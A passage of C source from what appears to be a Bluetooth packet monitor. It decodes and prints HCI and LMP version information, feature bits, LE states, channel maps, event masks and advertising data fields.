default:
str = "Reserved";
break;
}
print_field("Mode: %s (0x%2.2x)", str, mode);
}
static void print_name(const uint8_t *name)
{
char str[249];
memcpy(str, name, 248);
str[248] = '\0';
print_field("Name: %s", str);
}
static void print_channel_map(const uint8_t *map)
{
unsigned int count = 0, start = 0;
char str[21];
int i, n;
for (i = 0; i < 10; i++)
sprintf(str + (i * 2), "%2.2x", map[i]);
print_field("Channel map: 0x%s", str);
for (i = 0; i < 10; i++) {
for (n = 0; n < 8; n++) {
if (map[i] & (1 << n)) {
if (count == 0)
start = (i * 8) + n;
count++;
continue;
}
if (count > 1) {
print_field(" Channel %u-%u",
start, start + count - 1);
count = 0;
} else if (count > 0) {
print_field(" Channel %u", start);
count = 0;
}
}
}
}
void packet_print_channel_map_lmp(const uint8_t *map)
{
print_channel_map(map);
}
static void print_flush_timeout(uint16_t timeout)
{
if (timeout)
print_timeout(timeout);
else
print_field("Timeout: No Automatic Flush");
}
void packet_print_version(const char *label, uint8_t version,
const char *sublabel, uint16_t subversion)
{
const char *str;
switch (version) {
case 0x00:
str = "Bluetooth 1.0b";
break;
case 0x01:
str = "Bluetooth 1.1";
break;
case 0x02:
str = "Bluetooth 1.2";
break;
case 0x03:
str = "Bluetooth 2.0";
break;
case 0x04:
str = "Bluetooth 2.1";
break;
case 0x05:
str = "Bluetooth 3.0";
break;
case 0x06:
str = "Bluetooth 4.0";
break;
case 0x07:
str = "Bluetooth 4.1";
break;
case 0x08:
str = "Bluetooth 4.2";
break;
case 0x09:
str = "Bluetooth 5.0";
break;
case 0x0a:
str = "Bluetooth 5.1";
break;
default:
str = "Reserved";
break;
}
if (sublabel)
print_field("%s: %s (0x%2.2x) - %s %d (0x%4.4x)",
label, str, version,
sublabel, subversion, subversion);
else
print_field("%s: %s (0x%2.2x)", label, str, version);
}
static void print_hci_version(uint8_t version, uint16_t revision)
{
packet_print_version("HCI version", version,
"Revision", le16_to_cpu(revision));
}
static void print_lmp_version(uint8_t version, uint16_t subversion)
{
packet_print_version("LMP version", version,
"Subversion", le16_to_cpu(subversion));
}
static void print_pal_version(uint8_t version, uint16_t subversion)
{
const char *str;
switch (version) {
case 0x01:
str = "Bluetooth 3.0";
break;
default:
str = "Reserved";
break;
}
print_field("PAL version: %s (0x%2.2x) - Subversion %d (0x%4.4x)",
str, version,
le16_to_cpu(subversion),
le16_to_cpu(subversion));
}
void packet_print_company(const char *label, uint16_t company)
{
print_field("%s: %s (%d)", label, bt_compidtostr(company), company);
}
static void print_manufacturer(uint16_t manufacturer)
{
packet_print_company("Manufacturer", le16_to_cpu(manufacturer));
}
static const struct {
uint16_t ver;
const char *str;
} broadcom_uart_subversion_table[] = {
{ 0x210b, "BCM43142A0" }, /* 001.001.011 */
{ 0x410e, "BCM43341B0" }, /* 002.001.014 */
{ 0x4406, "BCM4324B3" }, /* 002.004.006 */
{ }
};
static const struct {
uint16_t ver;
const char *str;
} broadcom_usb_subversion_table[] = {
{ 0x210b, "BCM43142A0" }, /* 001.001.011 */
{ 0x2112, "BCM4314A0" }, /* 001.001.018 */
{ 0x2118, "BCM20702A0" }, /* 001.001.024 */
{ 0x2126, "BCM4335A0" }, /* 001.001.038 */
{ 0x220e, "BCM20702A1" }, /* 001.002.014 */
{ 0x230f, "BCM4354A2" }, /* 001.003.015 */
{ 0x4106, "BCM4335B0" }, /* 002.001.006 */
{ 0x410e, "BCM20702B0" }, /* 002.001.014 */
{ 0x6109, "BCM4335C0" }, /* 003.001.009 */
{ 0x610c, "BCM4354" }, /* 003.001.012 */
{ }
};
static void print_manufacturer_broadcom(uint16_t subversion, uint16_t revision)
{
uint16_t ver = le16_to_cpu(subversion);
uint16_t rev = le16_to_cpu(revision);
const char *str = NULL;
int i;
switch ((rev & 0xf000) >> 12) {
case 0:
case 3:
for (i = 0; broadcom_uart_subversion_table[i].str; i++) {
if (broadcom_uart_subversion_table[i].ver == ver) {
str = broadcom_uart_subversion_table[i].str;
break;
}
}
break;
case 1:
case 2:
for (i = 0; broadcom_usb_subversion_table[i].str; i++) {
if (broadcom_usb_subversion_table[i].ver == ver) {
str = broadcom_usb_subversion_table[i].str;
break;
}
}
break;
}
if (str)
print_field(" Firmware: %3.3u.%3.3u.%3.3u (%s)",
(ver & 0xe000) >> 13,
(ver & 0x1f00) >> 8, ver & 0x00ff, str);
else
print_field(" Firmware: %3.3u.%3.3u.%3.3u",
(ver & 0xe000) >> 13,
(ver & 0x1f00) >> 8, ver & 0x00ff);
if (rev != 0xffff)
print_field(" Build: %4.4u", rev & 0x0fff);
}
static const char *get_supported_command(int bit);
static void print_commands(const uint8_t *commands)
{
unsigned int count = 0;
int i, n;
for (i = 0; i < 64; i++) {
for (n = 0; n < 8; n++) {
if (commands[i] & (1 << n))
count++;
}
}
print_field("Commands: %u entr%s", count, count == 1 ? "y" : "ies");
for (i = 0; i < 64; i++) {
for (n = 0; n < 8; n++) {
const char *cmd;
if (!(commands[i] & (1 << n)))
continue;
cmd = get_supported_command((i * 8) + n);
if (cmd)
print_field(" %s (Octet %d - Bit %d)",
cmd, i, n);
else
print_text(COLOR_UNKNOWN_COMMAND_BIT,
" Octet %d - Bit %d ", i, n);
}
}
}
static const struct bitfield_data features_page0[] = {
{ 0, "3 slot packets" },
{ 1, "5 slot packets" },
{ 2, "Encryption" },
{ 3, "Slot offset" },
{ 4, "Timing accuracy" },
{ 5, "Role switch" },
{ 6, "Hold mode" },
{ 7, "Sniff mode" },
{ 8, "Park state" },
{ 9, "Power control requests" },
{ 10, "Channel quality driven data rate (CQDDR)"},
{ 11, "SCO link" },
{ 12, "HV2 packets" },
{ 13, "HV3 packets" },
{ 14, "u-law log synchronous data" },
{ 15, "A-law log synchronous data" },
{ 16, "CVSD synchronous data" },
{ 17, "Paging parameter negotiation" },
{ 18, "Power control" },
{ 19, "Transparent synchronous data" },
{ 20, "Flow control lag (least significant bit)"},
{ 21, "Flow control lag (middle bit)" },
{ 22, "Flow control lag (most significant bit)" },
{ 23, "Broadcast Encryption" },
{ 25, "Enhanced Data Rate ACL 2 Mbps mode" },
{ 26, "Enhanced Data Rate ACL 3 Mbps mode" },
{ 27, "Enhanced inquiry scan" },
{ 28, "Interlaced inquiry scan" },
{ 29, "Interlaced page scan" },
{ 30, "RSSI with inquiry results" },
{ 31, "Extended SCO link (EV3 packets)" },
{ 32, "EV4 packets" },
{ 33, "EV5 packets" },
{ 35, "AFH capable slave" },
{ 36, "AFH classification slave" },
{ 37, "BR/EDR Not Supported" },
{ 38, "LE Supported (Controller)" },
{ 39, "3-slot Enhanced Data Rate ACL packets" },
{ 40, "5-slot Enhanced Data Rate ACL packets" },
{ 41, "Sniff subrating" },
{ 42, "Pause encryption" },
{ 43, "AFH capable master" },
{ 44, "AFH classification master" },
{ 45, "Enhanced Data Rate eSCO 2 Mbps mode" },
{ 46, "Enhanced Data Rate eSCO 3 Mbps mode" },
{ 47, "3-slot Enhanced Data Rate eSCO packets" },
{ 48, "Extended Inquiry Response" },
{ 49, "Simultaneous LE and BR/EDR (Controller)" },
{ 51, "Secure Simple Pairing" },
{ 52, "Encapsulated PDU" },
{ 53, "Erroneous Data Reporting" },
{ 54, "Non-flushable Packet Boundary Flag" },
{ 56, "Link Supervision Timeout Changed Event" },
{ 57, "Inquiry TX Power Level" },
{ 58, "Enhanced Power Control" },
{ 63, "Extended features" },
{ }
};
static const struct bitfield_data features_page1[] = {
{ 0, "Secure Simple Pairing (Host Support)" },
{ 1, "LE Supported (Host)" },
{ 2, "Simultaneous LE and BR/EDR (Host)" },
{ 3, "Secure Connections (Host Support)" },
{ }
};
static const struct bitfield_data features_page2[] = {
{ 0, "Connectionless Slave Broadcast - Master" },
{ 1, "Connectionless Slave Broadcast - Slave" },
{ 2, "Synchronization Train" },
{ 3, "Synchronization Scan" },
{ 4, "Inquiry Response Notification Event" },
{ 5, "Generalized interlaced scan" },
{ 6, "Coarse Clock Adjustment" },
{ 8, "Secure Connections (Controller Support)" },
{ 9, "Ping" },
{ 10, "Slot Availability Mask" },
{ 11, "Train nudging" },
{ }
};
static const struct bitfield_data features_le[] = {
{ 0, "LE Encryption" },
{ 1, "Connection Parameter Request Procedure" },
{ 2, "Extended Reject Indication" },
{ 3, "Slave-initiated Features Exchange" },
{ 4, "LE Ping" },
{ 5, "LE Data Packet Length Extension" },
{ 6, "LL Privacy" },
{ 7, "Extended Scanner Filter Policies" },
{ 8, "LE 2M PHY" },
{ 9, "Stable Modulation Index - Transmitter" },
{ 10, "Stable Modulation Index - Receiver" },
{ 11, "LE Coded PHY" },
{ 12, "LE Extended Advertising" },
{ 13, "LE Periodic Advertising" },
{ 14, "Channel Selection Algorithm #2" },
{ 15, "LE Power Class 1" },
{ 16, "Minimum Number of Used Channels Procedure" },
{ 17, "Connection CTE Request" },
{ 18, "Connection CTE Response" },
{ 19, "Connectionless CTE Transmitter" },
{ 20, "Connectionless CTE Receiver" },
{ 21, "Antenna Switching During CTE Transmission (AoD)" },
{ 22, "Antenna Switching During CTE Reception (AoA)" },
{ 23, "Receiving Constant Tone Extensions" },
{ 24, "Periodic Advertising Sync Transfer - Sender" },
{ 25, "Periodic Advertising Sync Transfer - Recipient" },
{ 26, "Sleep Clock Accuracy Updates" },
{ 27, "Remote Public Key Validation" },
{ 28, "Connected Isochronous Stream - Master" },
{ 29, "Connected Isochronous Stream - Slave" },
{ 30, "Isochronous Broadcaster" },
{ 31, "Synchronized Receiver" },
{ 32, "Isochronous Channels (Host Support)" },
{ }
};
static const struct bitfield_data features_msft[] = {
{ 0, "RSSI Monitoring feature for BR/EDR" },
{ 1, "RSSI Monitoring feature for LE connections" },
{ 2, "RSSI Monitoring of LE advertisements" },
{ 3, "Advertising Monitoring of LE advertisements" },
{ 4, "Verifying the validity of P-192 and P-256 keys" },
{ 5, "Continuous Advertising Monitoring" },
{ }
};
static void print_features(uint8_t page, const uint8_t *features_array,
uint8_t type)
{
const struct bitfield_data *features_table = NULL;
uint64_t mask, features = 0;
char str[41];
int i;
for (i = 0; i < 8; i++) {
sprintf(str + (i * 5), " 0x%2.2x", features_array[i]);
features |= ((uint64_t) features_array[i]) << (i * 8);
}
print_field("Features:%s", str);
switch (type) {
case 0x00:
switch (page) {
case 0:
features_table = features_page0;
break;
case 1:
features_table = features_page1;
break;
case 2:
features_table = features_page2;
break;
}
break;
case 0x01:
switch (page) {
case 0:
features_table = features_le;
break;
}
break;
case 0xf0:
switch (page) {
case 0:
features_table = features_msft;
break;
}
break;
}
if (!features_table)
return;
mask = print_bitfield(2, features, features_table);
if (mask)
print_text(COLOR_UNKNOWN_FEATURE_BIT, " Unknown features "
"(0x%16.16" PRIx64 ")", mask);
}
void packet_print_features_lmp(const uint8_t *features, uint8_t page)
{
print_features(page, features, 0x00);
}
void packet_print_features_ll(const uint8_t *features)
{
print_features(0, features, 0x01);
}
void packet_print_features_msft(const uint8_t *features)
{
print_features(0, features, 0xf0);
}
#define LE_STATE_SCAN_ADV 0x0001
#define LE_STATE_CONN_ADV 0x0002
#define LE_STATE_NONCONN_ADV 0x0004
#define LE_STATE_HIGH_DIRECT_ADV 0x0008
#define LE_STATE_LOW_DIRECT_ADV 0x0010
#define LE_STATE_ACTIVE_SCAN 0x0020
#define LE_STATE_PASSIVE_SCAN 0x0040
#define LE_STATE_INITIATING 0x0080
#define LE_STATE_CONN_MASTER 0x0100
#define LE_STATE_CONN_SLAVE 0x0200
#define LE_STATE_MASTER_MASTER 0x0400
#define LE_STATE_SLAVE_SLAVE 0x0800
#define LE_STATE_MASTER_SLAVE 0x1000
static const struct bitfield_data le_states_desc_table[] = {
{ 0, "Scannable Advertising State" },
{ 1, "Connectable Advertising State" },
{ 2, "Non-connectable Advertising State" },
{ 3, "High Duty Cycle Directed Advertising State" },
{ 4, "Low Duty Cycle Directed Advertising State" },
{ 5, "Active Scanning State" },
{ 6, "Passive Scanning State" },
{ 7, "Initiating State" },
{ 8, "Connection State (Master Role)" },
{ 9, "Connection State (Slave Role)" },
{ 10, "Master Role & Master Role" },
{ 11, "Slave Role & Slave Role" },
{ 12, "Master Role & Slave Role" },
{ }
};
static const struct {
uint8_t bit;
uint16_t states;
} le_states_comb_table[] = {
{ 0, LE_STATE_NONCONN_ADV },
{ 1, LE_STATE_SCAN_ADV },
{ 2, LE_STATE_CONN_ADV },
{ 3, LE_STATE_HIGH_DIRECT_ADV },
{ 4, LE_STATE_PASSIVE_SCAN },
{ 5, LE_STATE_ACTIVE_SCAN },
{ 6, LE_STATE_INITIATING | LE_STATE_CONN_MASTER },
{ 7, LE_STATE_CONN_SLAVE },
{ 8, LE_STATE_PASSIVE_SCAN | LE_STATE_NONCONN_ADV },
{ 9, LE_STATE_PASSIVE_SCAN | LE_STATE_SCAN_ADV },
{ 10, LE_STATE_PASSIVE_SCAN | LE_STATE_CONN_ADV },
{ 11, LE_STATE_PASSIVE_SCAN | LE_STATE_HIGH_DIRECT_ADV },
{ 12, LE_STATE_ACTIVE_SCAN | LE_STATE_NONCONN_ADV },
{ 13, LE_STATE_ACTIVE_SCAN | LE_STATE_SCAN_ADV },
{ 14, LE_STATE_ACTIVE_SCAN | LE_STATE_CONN_ADV },
{ 15, LE_STATE_ACTIVE_SCAN | LE_STATE_HIGH_DIRECT_ADV },
{ 16, LE_STATE_INITIATING | LE_STATE_NONCONN_ADV },
{ 17, LE_STATE_INITIATING | LE_STATE_SCAN_ADV },
{ 18, LE_STATE_CONN_MASTER | LE_STATE_NONCONN_ADV },
{ 19, LE_STATE_CONN_MASTER | LE_STATE_SCAN_ADV },
{ 20, LE_STATE_CONN_SLAVE | LE_STATE_NONCONN_ADV },
{ 21, LE_STATE_CONN_SLAVE | LE_STATE_SCAN_ADV },
{ 22, LE_STATE_INITIATING | LE_STATE_PASSIVE_SCAN },
{ 23, LE_STATE_INITIATING | LE_STATE_ACTIVE_SCAN },
{ 24, LE_STATE_CONN_MASTER | LE_STATE_PASSIVE_SCAN },
{ 25, LE_STATE_CONN_MASTER | LE_STATE_ACTIVE_SCAN },
{ 26, LE_STATE_CONN_SLAVE | LE_STATE_PASSIVE_SCAN },
{ 27, LE_STATE_CONN_SLAVE | LE_STATE_ACTIVE_SCAN },
{ 28, LE_STATE_INITIATING | LE_STATE_CONN_MASTER |
LE_STATE_MASTER_MASTER },
{ 29, LE_STATE_LOW_DIRECT_ADV },
{ 30, LE_STATE_LOW_DIRECT_ADV | LE_STATE_PASSIVE_SCAN },
{ 31, LE_STATE_LOW_DIRECT_ADV | LE_STATE_ACTIVE_SCAN },
{ 32, LE_STATE_INITIATING | LE_STATE_CONN_ADV |
LE_STATE_MASTER_SLAVE },
{ 33, LE_STATE_INITIATING | LE_STATE_HIGH_DIRECT_ADV |
LE_STATE_MASTER_SLAVE },
{ 34, LE_STATE_INITIATING | LE_STATE_LOW_DIRECT_ADV |
LE_STATE_MASTER_SLAVE },
{ 35, LE_STATE_CONN_MASTER | LE_STATE_CONN_ADV |
LE_STATE_MASTER_SLAVE },
{ 36, LE_STATE_CONN_MASTER | LE_STATE_HIGH_DIRECT_ADV |
LE_STATE_MASTER_SLAVE },
{ 37, LE_STATE_CONN_MASTER | LE_STATE_LOW_DIRECT_ADV |
LE_STATE_MASTER_SLAVE },
{ 38, LE_STATE_CONN_SLAVE | LE_STATE_CONN_ADV |
LE_STATE_MASTER_SLAVE },
{ 39, LE_STATE_CONN_SLAVE | LE_STATE_HIGH_DIRECT_ADV |
LE_STATE_SLAVE_SLAVE },
{ 40, LE_STATE_CONN_SLAVE | LE_STATE_LOW_DIRECT_ADV |
LE_STATE_SLAVE_SLAVE },
{ 41, LE_STATE_INITIATING | LE_STATE_CONN_SLAVE |
LE_STATE_MASTER_SLAVE },
{ }
};
static void print_le_states(const uint8_t *states_array)
{
uint64_t mask, states = 0;
int i, n;
for (i = 0; i < 8; i++)
states |= ((uint64_t) states_array[i]) << (i * 8);
print_field("States: 0x%16.16" PRIx64, states);
mask = states;
for (i = 0; le_states_comb_table[i].states; i++) {
uint64_t val = (((uint64_t) 1) << le_states_comb_table[i].bit);
const char *str[3] = { NULL, };
int num = 0;
if (!(states & val))
continue;
for (n = 0; n < 16; n++) {
if (le_states_comb_table[i].states & (1 << n))
str[num++] = le_states_desc_table[n].str;
}
if (num > 0) {
print_field(" %s", str[0]);
for (n = 1; n < num; n++)
print_field(" and %s", str[n]);
}
mask &= ~val;
}
if (mask)
print_text(COLOR_UNKNOWN_LE_STATES, " Unknown states "
"(0x%16.16" PRIx64 ")", mask);
}
static void print_le_channel_map(const uint8_t *map)
{
unsigned int count = 0, start = 0;
char str[11];
int i, n;
for (i = 0; i < 5; i++)
sprintf(str + (i * 2), "%2.2x", map[i]);
print_field("Channel map: 0x%s", str);
for (i = 0; i < 5; i++) {
for (n = 0; n < 8; n++) {
if (map[i] & (1 << n)) {
if (count == 0)
start = (i * 8) + n;
count++;
continue;
}
if (count > 1) {
print_field(" Channel %u-%u",
start, start + count - 1);
count = 0;
} else if (count > 0) {
print_field(" Channel %u", start);
count = 0;
}
}
}
}
void packet_print_channel_map_ll(const uint8_t *map)
{
print_le_channel_map(map);
}
static void print_random_number(uint64_t rand)
{
print_field("Random number: 0x%16.16" PRIx64, le64_to_cpu(rand));
}
static void print_encrypted_diversifier(uint16_t ediv)
{
print_field("Encrypted diversifier: 0x%4.4x", le16_to_cpu(ediv));
}
static const struct bitfield_data events_table[] = {
{ 0, "Inquiry Complete" },
{ 1, "Inquiry Result" },
{ 2, "Connection Complete" },
{ 3, "Connection Request" },
{ 4, "Disconnection Complete" },
{ 5, "Authentication Complete" },
{ 6, "Remote Name Request Complete" },
{ 7, "Encryption Change" },
{ 8, "Change Connection Link Key Complete" },
{ 9, "Master Link Key Complete" },
{ 10, "Read Remote Supported Features Complete" },
{ 11, "Read Remote Version Information Complete" },
{ 12, "QoS Setup Complete" },
{ 13, "Command Complete" },
{ 14, "Command Status" },
{ 15, "Hardware Error" },
{ 16, "Flush Occurred" },
{ 17, "Role Change" },
{ 18, "Number of Completed Packets" },
{ 19, "Mode Change" },
{ 20, "Return Link Keys" },
{ 21, "PIN Code Request" },
{ 22, "Link Key Request" },
{ 23, "Link Key Notification" },
{ 24, "Loopback Command" },
{ 25, "Data Buffer Overflow" },
{ 26, "Max Slots Change" },
{ 27, "Read Clock Offset Complete" },
{ 28, "Connection Packet Type Changed" },
{ 29, "QoS Violation" },
{ 30, "Page Scan Mode Change" },
{ 31, "Page Scan Repetition Mode Change" },
{ 32, "Flow Specification Complete" },
{ 33, "Inquiry Result with RSSI" },
{ 34, "Read Remote Extended Features Complete" },
{ 43, "Synchronous Connection Complete" },
{ 44, "Synchronous Connection Changed" },
{ 45, "Sniff Subrating" },
{ 46, "Extended Inquiry Result" },
{ 47, "Encryption Key Refresh Complete" },
{ 48, "IO Capability Request" },
{ 49, "IO Capability Request Reply" },
{ 50, "User Confirmation Request" },
{ 51, "User Passkey Request" },
{ 52, "Remote OOB Data Request" },
{ 53, "Simple Pairing Complete" },
{ 55, "Link Supervision Timeout Changed" },
{ 56, "Enhanced Flush Complete" },
{ 58, "User Passkey Notification" },
{ 59, "Keypress Notification" },
{ 60, "Remote Host Supported Features Notification" },
{ 61, "LE Meta" },
{ }
};
static void print_event_mask(const uint8_t *events_array,
const struct bitfield_data *table)
{
uint64_t mask, events = 0;
int i;
for (i = 0; i < 8; i++)
events |= ((uint64_t) events_array[i]) << (i * 8);
print_field("Mask: 0x%16.16" PRIx64, events);
mask = print_bitfield(2, events, table);
if (mask)
print_text(COLOR_UNKNOWN_EVENT_MASK, " Unknown mask "
"(0x%16.16" PRIx64 ")", mask);
}
static const struct bitfield_data events_page2_table[] = {
{ 0, "Physical Link Complete" },
{ 1, "Channel Selected" },
{ 2, "Disconnection Physical Link Complete" },
{ 3, "Physical Link Loss Early Warning" },
{ 4, "Physical Link Recovery" },
{ 5, "Logical Link Complete" },
{ 6, "Disconnection Logical Link Complete" },
{ 7, "Flow Specification Modify Complete" },
{ 8, "Number of Completed Data Blocks" },
{ 9, "AMP Start Test" },
{ 10, "AMP Test End" },
{ 11, "AMP Receiver Report" },
{ 12, "Short Range Mode Change Complete" },
{ 13, "AMP Status Change" },
{ 14, "Triggered Clock Capture" },
{ 15, "Synchronization Train Complete" },
{ 16, "Synchronization Train Received" },
{ 17, "Connectionless Slave Broadcast Receive" },
{ 18, "Connectionless Slave Broadcast Timeout" },
{ 19, "Truncated Page Complete" },
{ 20, "Slave Page Response Timeout" },
{ 21, "Connectionless Slave Broadcast Channel Map Change" },
{ 22, "Inquiry Response Notification" },
{ 23, "Authenticated Payload Timeout Expired" },
{ 24, "SAM Status Change" },
{ }
};
static const struct bitfield_data events_le_table[] = {
{ 0, "LE Connection Complete" },
{ 1, "LE Advertising Report" },
{ 2, "LE Connection Update Complete" },
{ 3, "LE Read Remote Used Features Complete" },
{ 4, "LE Long Term Key Request" },
{ 5, "LE Remote Connection Parameter Request" },
{ 6, "LE Data Length Change" },
{ 7, "LE Read Local P-256 Public Key Complete" },
{ 8, "LE Generate DHKey Complete" },
{ 9, "LE Enhanced Connection Complete" },
{ 10, "LE Direct Advertising Report" },
{ 11, "LE PHY Update Complete" },
{ 12, "LE Extended Advertising Report" },
{ 13, "LE Periodic Advertising Sync Established"},
{ 14, "LE Periodic Advertising Report" },
{ 15, "LE Periodic Advertising Sync Lost" },
{ 16, "LE Extended Scan Timeout" },
{ 17, "LE Extended Advertising Set Terminated" },
{ 18, "LE Scan Request Received" },
{ 19, "LE Channel Selection Algorithm" },
{ 24, "LE CIS Established" },
{ 25, "LE CIS Request" },
{ 26, "LE Create BIG Complete" },
{ 27, "LE Terminate BIG Complete" },
{ 28, "LE BIG Sync Estabilished Complete" },
{ 29, "LE BIG Sync Lost" },
{ }
};
static void print_fec(uint8_t fec)
{
const char *str;
switch (fec) {
case 0x00:
str = "Not required";
break;
case 0x01:
str = "Required";
break;
default:
str = "Reserved";
break;
}
print_field("FEC: %s (0x%02x)", str, fec);
}
#define BT_EIR_FLAGS 0x01
#define BT_EIR_UUID16_SOME 0x02
#define BT_EIR_UUID16_ALL 0x03
#define BT_EIR_UUID32_SOME 0x04
#define BT_EIR_UUID32_ALL 0x05
#define BT_EIR_UUID128_SOME 0x06
#define BT_EIR_UUID128_ALL 0x07
#define BT_EIR_NAME_SHORT 0x08
#define BT_EIR_NAME_COMPLETE 0x09
#define BT_EIR_TX_POWER 0x0a
#define BT_EIR_CLASS_OF_DEV 0x0d
#define BT_EIR_SSP_HASH_P192 0x0e
#define BT_EIR_SSP_RANDOMIZER_P192 0x0f
#define BT_EIR_DEVICE_ID 0x10
#define BT_EIR_SMP_TK 0x10
#define BT_EIR_SMP_OOB_FLAGS 0x11
#define BT_EIR_SLAVE_CONN_INTERVAL 0x12
#define BT_EIR_SERVICE_UUID16 0x14
#define BT_EIR_SERVICE_UUID128 0x15
#define BT_EIR_SERVICE_DATA 0x16
#define BT_EIR_PUBLIC_ADDRESS 0x17
#define BT_EIR_RANDOM_ADDRESS 0x18
#define BT_EIR_GAP_APPEARANCE 0x19
#define BT_EIR_ADVERTISING_INTERVAL 0x1a
#define BT_EIR_LE_DEVICE_ADDRESS 0x1b
#define BT_EIR_LE_ROLE 0x1c
#define BT_EIR_SSP_HASH_P256 0x1d
#define BT_EIR_SSP_RANDOMIZER_P256 0x1e
#define BT_EIR_SERVICE_UUID32 0x1f
#define BT_EIR_SERVICE_DATA32 0x20
#define BT_EIR_SERVICE_DATA128 0x21
#define BT_EIR_LE_SC_CONFIRM_VALUE 0x22
#define BT_EIR_LE_SC_RANDOM_VALUE 0x23
#define BT_EIR_URI 0x24
#define BT_EIR_INDOOR_POSITIONING 0x25
#define BT_EIR_TRANSPORT_DISCOVERY 0x26
#define BT_EIR_LE_SUPPORTED_FEATURES 0x27
#define BT_EIR_CHANNEL_MAP_UPDATE_IND 0x28
#define BT_EIR_MESH_PROV 0x29
#define BT_EIR_MESH_DATA 0x2a
#define BT_EIR_MESH_BEACON 0x2b
#define BT_EIR_3D_INFO_DATA 0x3d
#define BT_EIR_MANUFACTURER_DATA 0xff
static void print_manufacturer_apple(const void *data, uint8_t data_len)
{
uint8_t type = *((uint8_t *) data);
if (data_len < 1)
return;
if (type == 0x01) {
char identifier[100];
snprintf(identifier, sizeof(identifier) - 1, "%s",
(const char *) (data + 1));
print_field(" Identifier: %s", identifier);
return;
}
while (data_len > 0) {
uint8_t len;
const char *str;
type = *((uint8_t *) data);
data++;
data_len--;
if (type == 0x00)
continue;
if (data_len < 1)
break;
switch (type) {
case 0x02:
str = "iBeacon";
break;
case 0x05:
str = "AirDrop";
break;
case 0x09:
str = "Apple TV";
break;
default:
str = "Unknown";
break;
}
print_field(" Type: %s (%u)", str, type);
len = *((uint8_t *) data);
data++;
data_len--;
if (len < 1)
continue;
if (len > data_len)
break;
if (type == 0x02 && len == 0x15) {
const uint8_t *uuid;
uint16_t minor, major;
int8_t tx_power;
uuid = data;
print_field(" UUID: %8.8x-%4.4x-%4.4x-%4.4x-%8.8x%4.4x",
get_le32(&uuid[12]), get_le16(&uuid[10]),
get_le16(&uuid[8]), get_le16(&uuid[6]),
get_le32(&uuid[2]), get_le16(&uuid[0]));
major = get_le16(data + 16);
minor = get_le16(data + 18);
print_field(" Version: %u.%u", major, minor);
tx_power = *(int8_t *) (data + 20);
print_field(" TX power: %d dB", tx_power);
} else
print_hex_field(" Data", data, len);
data += len;
data_len -= len;
}
packet_hexdump(data, data_len);
}
static void print_manufacturer_data(const void *data, uint8_t data_len)
{
uint16_t company = get_le16(data);
packet_print_company("Company", company);
switch (company) {
case 76:
case 19456:
print_manufacturer_apple(data + 2, data_len - 2);
break;
default:
print_hex_field(" Data", data + 2, data_len - 2);
break;
}
}
static void print_device_id(const void *data, uint8_t data_len)
{
uint16_t source, vendor, product, version;
char modalias[26], *vendor_str, *product_str;
const char *str;
if (data_len < 8)
return;
source = get_le16(data);
vendor = get_le16(data + 2);
product = get_le16(data + 4);
version = get_le16(data + 6);
switch (source) {
case 0x0001:
str = "Bluetooth SIG assigned";
sprintf(modalias, "bluetooth:v%04Xp%04Xd%04X",
vendor, product, version);
break;
case 0x0002:
str = "USB Implementer's Forum assigned";
sprintf(modalias, "usb:v%04Xp%04Xd%04X",
vendor, product, version);
break;
default:
str = "Reserved";
modalias[0] = '\0';
break;
}
print_field("Device ID: %s (0x%4.4x)", str, source);
if (!hwdb_get_vendor_model(modalias, &vendor_str, &product_str)) {
vendor_str = NULL;
product_str = NULL;
}
if (source != 0x0001) {
if (vendor_str)
print_field(" Vendor: %s (0x%4.4x)",
vendor_str, vendor);
else
print_field(" Vendor: 0x%4.4x", vendor);
} else
packet_print_company(" Vendor", vendor);
if (product_str)
print_field(" Product: %s (0x%4.4x)", product_str, product);
else
print_field(" Product: 0x%4.4x", product);
print_field(" Version: %u.%u.%u (0x%4.4x)",
(version & 0xff00) >> 8,
(version & 0x00f0) >> 4,
(version & 0x000f), version);
free(vendor_str);
free(product_str);
}
static void print_uuid16_list(const char *label, const void *data,
uint8_t data_len)
{
uint8_t count = data_len / sizeof(uint16_t);
unsigned int i;
print_field("%s: %u entr%s", label, count, count == 1 ? "y" : "ies");
for (i = 0; i < count; i++) {
uint16_t uuid = get_le16(data + (i * 2));
print_field(" %s (0x%4.4x)", bt_uuid16_to_str(uuid), uuid);
}
}
static void print_uuid32_list(const char *label, const void *data,
uint8_t data_len)
{
uint8_t count = data_len / sizeof(uint32_t);
unsigned int i;
print_field("%s: %u entr%s", label, count, count == 1 ? "y" : "ies");
for (i = 0; i < count; i++) {
uint32_t uuid = get_le32(data + (i * 4));
print_field(" %s (0x%8.8x)", bt_uuid32_to_str(uuid), uuid);
}
}
static void print_uuid128_list(const char *label, const void *data,
uint8_t data_len)
{
uint8_t count = data_len / 16;
unsigned int i;
print_field("%s: %u entr%s", label, count, count == 1 ? "y" : "ies");
for (i = 0; i < count; i++) {
const uint8_t *uuid = data + (i * 16);
print_field(" %s", bt_uuid128_to_str(uuid));
}
}
static const struct bitfield_data eir_flags_table[] = {
{ 0, "LE Limited Discoverable Mode" },
{ 1, "LE General Discoverable Mode" },
{ 2, "BR/EDR Not Supported" },
{ 3, "Simultaneous LE and BR/EDR (Controller)" },
{ 4, "Simultaneous LE and BR/EDR (Host)" },
{ }
};
static const struct bitfield_data eir_3d_table[] = {
{ 0, "Association Notification" },
{ 1, "Battery Level Reporting" },
{ 2, "Send Battery Level Report on Start-up Synchronization" },
{ 7, "Factory Test Mode" },
{ }
};
static const struct bitfield_data mesh_oob_table[] = {
{ 0, "Other" },
{ 1, "Electronic / URI" },
{ 2, "2D machine-readable code" },
{ 3, "Bar code" },
{ 4, "Near Field Communication (NFC)" },
{ 5, "Number" },
{ 6, "String" },
{ 11, "On box" },
{ 12, "Inside box" },
{ 13, "On piece of paper" },
{ 14, "Inside manual" },
{ 15, "On device" },
{ }
};
static void print_mesh_beacon(const uint8_t *data, uint8_t len)
{
uint16_t oob;
print_hex_field("Mesh Beacon", data, len);
if (len < 1)
return;
switch (data[0]) {
case 0x00:
print_field(" Unprovisioned Device Beacon (0x00)");
if (len < 18) {
packet_hexdump(data + 1, len - 1);
break;
}
print_hex_field(" Device UUID", data + 1, 16);
oob = get_be16(data + 17);
print_field(" OOB Information: 0x%4.4x", oob);
print_bitfield(4, oob, mesh_oob_table);
if (len < 23) {
packet_hexdump(data + 18, len - 18);
break;
}
print_field(" URI Hash: 0x%8.8x", get_be32(data + 19));
packet_hexdump(data + 23, len - 23);
break;
case 0x01:
print_field(" Secure Network Beacon (0x01)");
if (len < 22) {
packet_hexdump(data + 1, len - 1);
break;
}
print_field(" Flags: 0x%2.2x", data[0]);
if (data[1] & 0x01)
